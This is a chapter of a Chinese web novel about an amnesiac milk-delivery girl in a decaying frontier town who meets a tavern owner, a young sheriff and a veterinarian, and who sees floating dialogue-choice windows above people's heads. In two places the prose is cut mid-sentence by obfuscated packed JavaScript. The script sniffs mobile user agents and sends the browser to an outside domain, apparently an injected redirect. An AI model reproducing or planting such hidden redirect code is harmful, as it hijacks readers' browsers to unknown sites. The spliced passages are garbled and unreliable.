这里原本是座钟楼,但年久失修,早已废弃,于是维克多把酒馆安置在钟楼里。木门原本是铜绿色,但现今油漆剥落,一张歪斜的招牌钉在门上,刚好补上几个漏风的枪眼,很好的避免了风沙吹进去。 门板很厚,但再厚也挡不住里面交错的笑声,克莉丝塔提着牛奶桶跻身进去,酒馆里的笑声因此中断。 酒馆不大,光线略暗,一盏橙黄的灯吊在中央,在铁灯罩下闪着断续的光电。眼下两群人分别坐在不同的长桌旁,一桌人在角落玩牌,另一桌人在喝酒,嘴里不知嚼着鹿肉还是风干的牛舌。 见她进来,不少人目光落到她身上。克莉丝塔视若无睹走过人群,将奶罐搁到柜台上,等待维克多的出现。 短暂的安静不复,酒客们接着说笑,克莉丝塔还没等来维克多。 角落里,一个面颊干瘦的男人在对牌友说:“听说了吗,卡特决定重新调查那桩失踪案。” 一旁那个叼着烟斗没有左腿的男人轻嗤声:“警署让这种毛头小子来当警长,伊德尔镇早该完蛋了!” “得了,沃克,现在的伊德尔镇多亏卡特才有了安稳日子。” 沃克听罢怒气冲冲撂下牌,拄着拐杖起身离桌,朝酒馆外走去。 他走后,一个胖子笑眯眯说:“你惹他做什么?怎么说也是我们的老警长。” “败类,伊德尔镇就是没落在他们这些人手里的。” “行了行了,都过去了,伊德尔镇注定被抛弃。”第四人开口,“不过他怎么又查起那桩失踪案了?” “好像是兽医站新来的那个和卡特说了什么。” “啧啧,女人就是麻烦,恐怕是发现前任兽医失踪,怕了。” 克莉丝塔听到这里,觉察到一股酒气靠近,回头看去,一个身形魁梧的酒鬼走到她边上,头发油腻得像一年没洗,酒气混着汗味,说话时喷出令人作呕的口气:“长得不赖,也是新来的吗?” 克莉丝塔扭头看向柜台后的墙面上,那里除了嵌着储酒格外,还有柄老式火枪悬挂着,显然是挂在那儿维持秩序。 醉鬼打了个酒嗝,“还是头回见把牛奶送来酒馆的,不过这奶瞧着可没你瞧着新鲜。” 说着,他伸手碰向克莉丝塔的手背,接着一怔。 因为女孩的手先搭住他的手腕,他正要露出笑容来,克莉丝塔便随意一拧。清脆的一声骨响在嘈杂声中毫不刺耳,但下一刻,那酒鬼发出沉重的闷哼声,破口骂起难听的话来。 克莉丝塔后退一步,担心牵连到柜台上那桶牛奶。这时酒馆里已然陷入新一轮的安静中,人人都望着酒柜前的两人。 男人骂骂咧咧,意图将女孩按倒在地,但克莉丝塔敏捷地避开,正在思考接下来该怎么做,一个年轻男人的身影出现在楼梯上。 “艾登,这里是我的酒馆,可不是从前的。”男人的声音慵懒响起,却似威胁。 纵使艾登醉醺醺,听到这话也停下了报复,龇牙咧嘴捂着手腕,狠狠瞪向女孩:“给我等着。” 说完向外走去,而那个从楼梯上下来的青年还不忘对他的背影说:“酒钱我会记在账上,留给你结账的时间不多了。” 木门被狠狠摔上,青年这才向柜台方向走去。 他身形颀长,深棕色的长卷发扎在脑后,为俊美不羁的面庞增添一丝柔和美。他走来克莉丝塔面前,温和一笑:“这位美丽的小姐,我为您在这里受到的骚扰向您道歉。” “……” 花孔雀,骚狐狸。 克莉丝塔面无表情朝他摊开掌心,没有得到回应的维克多微微挑眉,然后不紧不慢地取出一张纸币交给她,克莉丝塔接过,将钱塞进背带裤前襟的衣兜里,转身离去。 维克多跟上她,说:“我送你到主街上去吧。” 似乎是有意做护花使者。 “不用。” “是我唐突了,那么——”维克多话没说完,因为女孩已经转身离开,一抹本可以摄人魂魄的微笑毫无用武之地地留在他脸上。 克莉丝塔听见身后的酒馆里传来哄笑声,没有在意,推着小车走到巷口时,她才有些迟钝地想到,维克多似乎是唯一一个没有因为牛奶中午才送到而生气的人。 回去的路上无事发生,酒鬼艾登大概是去找地方处理手伤了。 克莉丝塔再次穿过冷清的主街,在烈日下走回布莱恩特牛奶厂。 牛奶厂位于小镇西部的半边丘地下,走近时能听见牛群惫懒的哞哞声,像是一种吃不饱的呜咽。克莉丝塔觉得它们有些可怜,这里连片牧场都没有,它们只能吃些干草和碎烂的谷物。 也许会有一群牛正在牧场上吃鲜草。 还会有一群人正在享用丰盛的午餐。 克莉丝塔将推车停放在牛舍的木墙外,抬头看看天,认为是时候去找芙罗拉太太兑现午餐的许诺了,于是转身向厂房后的砖木小屋走去。 芙罗拉太太是布莱恩特牛奶厂主人的妻子,不过布莱恩特先生已经离世,现在撑起整座牛奶厂的是芙罗拉和两个雇工。当然,那八头老牛也不能忘,而算上克莉丝塔的话,牛奶厂就有了三个雇工。 小屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934143|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前围着一圈木桩,院子里有口封盖的枯井,上面放置着几只破损的牛奶桶,门廊上的座椅旁有一排粗陶花盆,其中两盆已经干枯,只有芦荟和仙人掌在存活,其中一盆仙人掌开出朵孱弱的小黄花。 克莉丝塔走来院里时一股熟牛奶和烘烤面包的香气扑面而来,她径直走进敞开的房门,顺着香气寻到厨房,芙罗拉太太正搅动锅里的食物,咕嘟咕嘟的声响中,克莉丝塔开口说话。 “我可以先吃块面包吗?” 芙罗拉太太惊得险些丢掉手里的勺子,回头时皱眉怨怪:“你这孩子,怎么能随便闯进屋里来?”她眼神里流露出一丝嫌弃,但见她衣服和鞋子都算干净,这才说,“拿去吃吧。” 克莉丝塔依言拿起面包,离开厨房坐到餐厅里,很快,土豆浓汤的香味从厨房溢出,充溢满整个小屋。 屋子并不算大,稍显破旧,但芙罗拉太太极力维系着小屋内的温馨,桌布干干净净,餐具摆放得一丝不苟,也因此,当她端着锅来餐厅里时又是一惊,阔步前来放下小锅,将女孩从座位上拽了起来。 “谁允许你坐在这里了?” 克莉丝塔刚刚吃下最后一口面包,面对芙罗拉的斥责,她没有辩解,也没有道歉,只是站在那里显得有些茫然。 芙罗拉太太见状,像是觉得自己有些凶,又气不过地叹息声,回厨房端出一盘干面包,又塞给她一瓶牛奶,说道:“去外面吃吧。” “噢。” 克莉丝塔接过食物,离开小屋,坐到那盆开花的仙人掌旁边接着吃午餐。 没过多久,一阵马蹄声由远及近地传来,克莉丝塔抬头,望见一人骑着匹深褐色骏马朝小屋方向来,最后稳稳停在院外,翻身下马。 又是个男人。 克莉丝塔忍不住想,这里男人太多了些。 院外的人系好马匹,进院里来,他看起来还很年轻,黑发打理得一丝不苟,身上穿着警署的衬衣制服和高筒马靴,一枚象征着警长身份的星星徽章别在胸前,腰际还佩有一柄左轮手枪。 他一进院便将目光锁定在坐在廊下的克莉丝塔身上,略显狐疑,因此一迳走到陌生的女孩面前。 “你是什么人?” 他身形高大挺拔,却不显魁梧,藏在衬衣下的肩膀线条利落,一片给人以压迫感的阴影投落在女孩身上。 “送奶工。” “我没见过你,什么时候来的伊德尔镇?” “两天前。” “来这里做什么?” “我不记得了。” 男人琥珀色的眼眸微觑,这时,芙罗拉从门内出来,说道:“卡特,有什么话不能等到吃完饭再问呢?” 克莉丝塔点点头。 卡特:“……” 卡特回屋,克莉丝塔很快吃光全部的食物,将餐盘送进屋时,芙罗拉正对卡特说:“快一年前的事我哪儿还记得?不过她离开之前,我们还有账单没付清呢。” 克莉丝塔的出现打断了他们的对话,芙罗拉禁止她再进厨房,自己接过餐盘并撵她离开,她退出屋,听见芙罗拉太太在屋内说:“还真是位奇怪小姐,听说是失去了记忆,我看她怪可怜的,所以收留了……” 克莉丝塔走远去,走过盖着铁皮的牛舍,来到不远处一间木棚前,推开漏风的木门进去。 牛棚早已废弃,牛槽里堆放着一些诸如破木桶、绳索、草叉之类的杂物,牛槽边铺着块粗布包着的草席,一卷破旧毛毯盖在上方,毯角还残留着没洗净的奶渍。 克莉丝塔仰面躺到草席上,闭上眼睛。 是时候睡午觉了。 28.〇二 克莉丝塔睁开眼睛,双眸有些空洞。 她没有睡着,闭着眼睛的某个时刻,她突然感觉到脑袋里多出些东西。也许是失忆的缘故,这几天她始终感觉脑袋空空的,而刚刚,那种凭空出现的感觉像一道闪电击中她。 应该做点什么。 她这样想着,坐起身,从背后的牛槽里翻出只手提箱来。这是她从那片荒原醒来时就带在身边的箱子,因为有锁,她直到今天都没能打开它,但她本能地觉得里面的东西很重要,于是来到这里后将它藏进杂物堆中,眼下她取出它,又一次研究起箱体。 “笃笃——” 有人叩门。克莉丝塔将箱子塞回牛槽里,前去开门,甚至不需要开门,她就从门缝中看见那两条笔直修长的腿杵在门外。 是卡特。 她打开门,直面卡特的胸前的星星。 年轻男人低垂头颅,礼貌性询问道:“打扰到你休息了吗?” 克莉丝塔点点头,卡特冷峻的神情出现丝裂痕,似乎没想到会有人这样不给他面子。 随后,他注意到女孩的目光始终停留在他胸前。 一种怪异的情绪莫名升起,他状若不经意地低下头,确认胸前衬衣的纽扣没有松开后,暗自松了口气,耳根却因此染上薄薄的一层红。 他怎么会觉得她是在看……呢? 但克莉丝塔的确因为眼前有些显眼的胸部想到什么,她低头掏出一卷钱,递了出去:“送牛奶的钱,忘记交给芙罗拉太太了。” 卡特顿了顿,抬手接过,这才向她挑明来意:“母亲说你失去了记忆,方便告诉我是怎么一回事吗?” 克莉丝塔想说不方便,但她知道他是警长,于是便将她是如何从荒原中醒来,又是如何沿着铁轨一路走到站台并在次日来到牛奶厂的事说了遍。 卡特听得认真,始终目光沉静停在她面庞上,最后像是质问:“为什么不说你还提着只箱子?” “……” 一定是芙罗拉太太告诉他的了。 她思考会儿,辩解道:“那是我的东西。” 卡特明白她无意配合,但还是出于职责告诉她:“既然你会前来伊德尔镇,那么想必这里有你认识的人,如果你想找到他,我会帮助你。” “好的。” 见她没有更多表示,卡特只好说:“等你决定好,随时到警署找我。” 说完告辞离去,克莉丝塔关上门,但不久后又打开房门。 她还是没能打开箱子,或许是脑袋太空,又或者是被那个应该做点什么想法驱使,她再次走向伊德尔镇的街道上。 伊德尔镇颇有规模,但从街道两侧荒废的住宅看,这里如今没什么人居住,她送奶时走过的全部路径是牛奶厂的一位老雇工画给她的,这时她又掏出兜里那张残损得像是放了几十年的地图,研究起城镇的布局来。 牛奶厂位于小镇西面,城镇的中央是政务厅和警署,向北去有座殡葬馆,教堂和公墓坐落在北部边缘,向南是医院,向东则是一座占地颇广的宅邸,几乎占据了整个小镇的东区。 在这张残损得几乎看不见字迹的地图上,那座宅邸被标记为「艾什顿宅邸」。 一阵风吹来,街道上扬起黄沙和旧告示的碎片,克莉丝塔看看两侧低矮陈旧的房屋,决定去东面看看大房子。 毕竟,她应该做点什么。 - 克莉丝塔又一次见到了维克多。 彼时她刚走来艾什顿宅邸外,仰头望着外围一排瘦高的冷杉看。思索中,她听见身后有道女声响起:“这些树很不一样,对吗?” 她回过头,一个如冷杉般清瘦挺拔的女郎站在不远处,身穿一件灰蓝色翻领衬裙,戴一顶编织帽,手中拎着只牛皮制的箱子,金色长发编成一条麻花辫垂落在左肩下。 “你好,我是霍尔。”她朝她伸出那只空着的手。 但克莉丝塔只是看了看那只骨节分明的手,问她:“为什么说这些树不一样呢?” “至少整个伊德尔镇没有比这更健康、更茁壮的树了。” 伊德尔镇甚至没有比这儿树更多的地方,克莉丝塔一路走来只见到几棵萎靡不振的老树,像整个小镇的气息。 霍尔小姐看出克莉丝塔无意与她握手,收回手来,依旧微笑着:“你不打算告诉我你是谁吗?” “克莉丝塔。” “你好,克莉丝塔,你在这里做什么?”她问完,似乎觉得自己有些冒昧,补充说,“我是说,我来伊德尔镇后很少在街头看见什么人,所以有些好奇。” “我只是随便走走。” 克莉丝塔并不觉得自己在说废话,她只是脑袋有些空,甚至每说一句话都需要搜肠刮肚。 二人沉默之际,宅邸的雕花铁门内走出一人来,在看到树下两人后,那人眉梢轻挑,满面春风地走近。 “又见面了,霍尔小姐,还有这位……”他刻意拖长尾音,可惜没有等到女孩的自我介绍,于是自作主张称呼她,“这位送奶工小姐。” 声音慵懒,并且夹杂着一丝愉悦。 霍尔小姐转向他,问道:“维克多先生,你怎么会在这里?” “您可以理解为是命运的指引。”他不假思索地回答。 克莉丝塔:“……” 霍尔小姐也沉默会儿,看不出是在羞涩还是语塞。 维克多这才正经些许,说道:“好了,不捉弄您了……埃尔德里奇少爷需要宴请客人,我为他送了些酒来。”他说着瞄了眼霍尔小姐手中的皮箱,狐狸般的眸中闪过一丝了然,“想必,他正是要邀请您一同进餐。” 克莉丝塔原本面无表情听着,但这时,她倏地抬头看向半空。 大约是这个举动太过突兀显眼,对话中的二人都转头看来,霍尔小姐柔美的面庞上有一丝茫然,眼眸也显得有些空洞。 她抬头看向克莉丝塔注目的方向,什么也没望见,问道:“克莉丝塔,你在看什么?” “奇怪的东西。” 维克多在一旁假意打了个寒颤,调侃道:“这位小姐,我不介意伊德尔镇再多出段亡灵的传说,但吓人的话至少也应该等到日落后再说,维克多酒馆期待您的到来。” 克莉丝塔不理睬他,维克多又吃一瘪,他无奈耸了耸肩,眼底却生出浓郁的兴味来。 没有谁再开口说话,三人站在原地,安静得几乎有些诡异。 霍尔小姐与维克多之间像是陷入某种怪异的停滞,而克莉丝塔还死死盯着霍尔小姐的头顶上方—— 一块透明浮窗悬停在那里,上面的文字浅浅地发着光: 【A】(羞赧低头,默认他的猜测) 【B】“我想您误会了,我只是前来为埃尔德里奇先生的马看病。” 【C】“什么?我并不知道埃尔德里奇先生邀请了我。” 【D】“我认为埃尔德里奇先生更喜欢直白的邀请方式。” 一个小三角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944484|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在其间徘徊着,最后停在选项【B】上,白光浮现。 接着,霍尔小姐再度开口,回答已经中断许久的对话:“我想您误会了,我只是前来为埃尔德里奇少爷的马看病。” 她微笑得恰到好处,既不亲昵,也不疏远,像一片波澜不惊的湖水。 维克多见状露出一贯的微笑,但似乎要比往日真诚,他又说:“看来,我也需要努力了呢。” 浮窗又一次弹出: 【A】“努力?维克多先生是指什么呢?” 【B】“那么,维克多先生想要怎么努力呢?” 【C】“维克多先生,请不要捉弄我了……” 霍尔小姐再次面露茫然,小三角犹豫不决地停留在选项【A】上。 “努力?维克多先生是指什么呢?” “当然是指努力养好那只孱弱的猫,我已经按照您的建议喂它喝牛奶了。” “但愿它早日变得强壮。” 二人的对话停下,霍尔小姐随即转向克莉丝塔,对她说:“克莉丝塔,我是镇上新来的兽医,如果你有什么需要,可以来兽医站找我,现在我需要去工作了。” 克莉丝塔点点头,霍尔小姐又向维克多道别,随后走向宅邸的大门。 一时间,树下只剩下克莉丝塔和维克多。 克莉丝塔表情有些呆滞,维克多嘴角噙着笑意,眼神从她面庞上扫过,最后微微低腰,饶有趣味地凑近她面前:“看来,你叫克莉丝塔,你也是镇上的人吗?” “我不知道,但卡特说没有见过我。” 她的回答令维克多感到一头雾水,他追问下去:“你不是在布莱恩特警长家的牛奶厂工作吗?” “但我两天前失去了记忆。”克莉丝塔说完,像是觉得他靠得有些近,后撤一步。 维克多便也直起腰来,清咳声。他抬起手抚摸起下巴,似乎还在回想她的答案,但克莉丝塔已经一声不吭地走开,像在酒馆里时那样再次将他晾在原地。 维克多:“……” 有趣,总觉得有什么东西不一样了呢。 他擅自跟上她,发现她也走到宅邸的大门前,向内张望。 前庭宽阔,马车道由平整的石砖铺就,两侧是修剪过的灌木,尽管有些凌乱,但整体还维系着规则的轮廓。 宅邸本身是座三层高的石砖建筑,窗户高挑,即使灰石墙体已有些斑驳风化的痕迹,也依旧保留着森严气势,像是不甘随着小镇日渐颓败,竭力独立于衰败之外。 房门前,霍尔小姐正和一个侍者说话,侍者将她引向宅邸右侧,最终消失在拐角后。 “怎么,想进去吗?”维克多漫不经心地问。 “想。”克莉丝塔回答完,有些突然地偏过头,对上他的眼睛反问他,“你每天都做些什么?” 维克多一怔,嘴角还没来得及扬起一抹嘲弄,胸腔里便像是多出种既莫名又怪异的感觉。 每天都做些什么?他想了想,回答说:“跟同样的人见面,做同样的事。” “你会不会有一种感觉,觉得自己应该做点什么?” “好像……会有。” “是什么呢?” 维克多破天荒地沉默下来,甚至破天荒地露出丝羞赧来,连故作轻浮都做不到。 “是什么呢?”克莉丝塔又问。 她看起来很是好奇,鬼使神差地,维克多说出那个令人难以启齿的答案:“应该让女人喜欢我。”